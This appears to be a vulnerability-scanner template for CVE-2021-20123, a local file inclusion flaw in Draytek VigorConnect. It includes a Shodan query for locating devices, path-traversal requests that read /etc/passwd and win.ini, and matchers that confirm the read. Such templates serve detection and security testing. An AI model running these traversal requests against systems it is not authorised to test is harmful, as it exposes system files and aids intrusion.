49 lines
1.5 KiB
YAML
49 lines
1.5 KiB
YAML
id: CVE-2021-20123
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info:
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name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
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author: 0x_Akoko
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severity: high
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description: |
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Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
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reference:
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- https://www.tenable.com/security/research/tra-2021-42
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20123
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-20123
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cwe-id: CWE-668
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metadata:
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verified: true
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shodan-query: http.html:"VigorConnect"
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tags: cve,cve2021,draytek,lfi,vigorconnect
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
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- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- "for 16-bit app support"
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condition: or
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- type: word
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part: header
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words:
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- "application/octet-stream"
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/06/27
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